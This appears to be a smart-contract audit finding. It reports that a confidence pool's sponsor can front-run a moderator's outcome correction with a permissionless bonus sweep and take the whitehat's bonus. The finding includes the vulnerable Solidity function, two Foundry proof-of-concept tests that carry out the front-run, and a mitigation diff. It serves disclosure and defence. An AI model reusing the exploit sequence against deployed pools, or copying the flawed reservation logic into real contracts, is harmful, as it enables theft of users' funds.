FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Sponsor can front-run the moderator's documented outcome-correction via permissionless `sweepUnclaimedBonus`, permanently capturing the whitehat's entire bonus

Author Revealed upon completion

Root + Impact

Description

The moderator may correct a posted outcome (fix a wrong outcome or attacker) right up until the first claim trips the one-way claimsStarted finality latch — DESIGN §4 states the re-flag window "closes on the first claim (by design)." Every value-moving claim/sweep path sets claimsStarted on execution (claimSurvived, claimCorrupted, claimAttackerBounty, sweepUnclaimedCorrupted, claimExpired), so once value moves, the outcome is frozen. Separately, when a pool resolves SURVIVED with riskWindowStart == 0 (no on-chain-observed risk window), _bonusShare pays zero to every staker, so the whole bonus pot is legitimately swept to recoveryAddress (DESIGN §5).

sweepUnclaimedBonus() is the one value-moving path that deliberately does not set claimsStarted, and its reservation gates the accounted bonus solely on riskWindowStart != 0. So when riskWindowStart == 0, the entire accounted snapshotTotalBonus is treated as unreserved and can be transferred out without tripping the finality latch. Because recoveryAddress is owner-settable at any time (setRecoveryAddress, onlyOwner), the sponsor can point it at itself and, the moment the moderator posts SURVIVED, front-run the moderator's pending correction to good-faith CORRUPTED with a permissionless sweepUnclaimedBonus. The bonus lands at the sponsor's address, claimsStarted stays false (so the correction still "succeeds"), and the corrected bountyEntitlement is recomputed from the now-drained pot — leaving the named whitehat entitled to principal only. DESIGN §4's guarantee is violated: value left the pool before any "claim," yet the correction window it was supposed to protect is hollow.

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) { // riskWindowStart == 0 => accounted bonus NOT reserved
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0; // == full accounted bonus
if (amount == 0) revert NothingToSweep();
...
@> // Intentionally does NOT set claimsStarted. <-- re-flag window stays "open", but value already left
stakeToken.safeTransfer(recoveryAddress, amount); // recoveryAddress is owner-controlled
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

Risk

Likelihood:

Occurs whenever a genuinely in-scope breach is settled on a pool whose active-risk window was never observed on-chain (riskWindowStart == 0) — the default for any low-activity pool, since the window is sealed only if some interaction happens to coincide with the active-risk dwell.

Occurs on the exact SURVIVED→good-faith-CORRUPTED correction that DESIGN §4's re-flag window is built for (the moderator's off-chain in/out-of-scope judgement being revised), so it fires during a supported, anticipated operation rather than an unusual error.

The sponsor is economically motivated (the swept bonus lands at its own recoveryAddress) and can reliably win the race — sweepUnclaimedBonus is permissionless and the correction is a public mempool transaction it front-runs.

Impact:

The named good-faith attacker (whitehat) permanently loses the entire bonus portion of the bounty; the bonus pot is designed to be substantial (it exists to attract stakers), so the loss can be large.

The value is misappropriated between parties — from the whitehat the corrected outcome owes it to, to the sponsor — and is irreversible (it has physically left the pool to a sponsor-controlled address).

A protocol-documented safety mechanism (the moderator's pre-claim outcome correction) is silently defeated by a permissionless action, violating the DESIGN §4 guarantee that correction is possible until the first claim.

Proof of Concept

Add to a test inheriting the project's BaseConfidencePoolTest and run with forge test. Both pass green.

// The pool owner in BaseConfidencePoolTest is address(this) (the sponsor).
function test_C2_sponsorCapturesWhitehatBonusByFrontRunningCorrection() external {
// genuine in-scope breach, but the risk window was never observed on-chain
_stake(alice, 100 ether);
_contributeBonus(carol, 50 ether); // 50e18 bonus meant to reward the whitehat
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(uint256(pool.riskWindowStart()), 0); // common for low-activity pools
// sponsor points recovery at itself (onlyOwner, allowed any time before the sweep)
address sponsor = address(this);
pool.setRecoveryAddress(sponsor);
// moderator's initial (later-reversed) judgement: out-of-scope => SURVIVED
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// moderator now prepares to correct to good-faith CORRUPTED naming the whitehat (allowed per §4).
// sponsor FRONT-RUNS that correction with the permissionless sweep:
uint256 sponsorBefore = token.balanceOf(sponsor);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(sponsor) - sponsorBefore, 50 ether); // sponsor captured the bonus
assertFalse(pool.claimsStarted()); // finality latch NOT tripped
// correction lands, but on a drained pot
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 100 ether); // collapsed 150 -> 100
uint256 whBefore = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker) - whBefore, 100 ether); // whitehat: principal only
// Net: the 50e18 bonus the whitehat was owed is now the sponsor's, irreversibly.
}
// Guarantee-violation framing: §4 promises correction until the FIRST CLAIM; a sweep is not a claim,
// yet it moves value the correction can no longer recover.
function test_C2_breaksDocumentedCorrectionGuarantee() external {
_stake(alice, 10 ether);
_contributeBonus(carol, 40 ether);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
pool.sweepUnclaimedBonus(); // not a "claim"
assertFalse(pool.claimsStarted()); // ...so §4 says correction is still open...
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), 10 ether); // ...yet the 40e18 is gone; correction is hollow
}

Recommended Mitigation

Do not set claimsStarted inside the sweep — that would let a 1-wei donation trip the finality latch and block the moderator's re-flag window (the reason the latch is intentionally omitted here). Instead, reserve the accounted bonus whenever the correction window is still open (!claimsStarted), so only genuine donations/dust remain sweepable before finality:

uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
- if (riskWindowStart != 0) {
+ // Reserve accounted bonus while a staker is owed it (riskWindowStart != 0) OR the outcome
+ // can still be corrected to good-faith CORRUPTED (re-flag window open). Only genuine
+ // donations/dust stay sweepable before finality, so a sponsor cannot drain the bonus
+ // ahead of the moderator's documented correction.
+ if (riskWindowStart != 0 || !claimsStarted) {
reserved += snapshotTotalBonus - claimedBonus;
}
}

Once a legitimate claim sets claimsStarted, the outcome is final and the DESIGN §5 riskWindowStart == 0 behavior resumes (the unowed bonus becomes sweepable to recoveryAddress). This closes the front-running window without reintroducing the dust-griefing concern.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!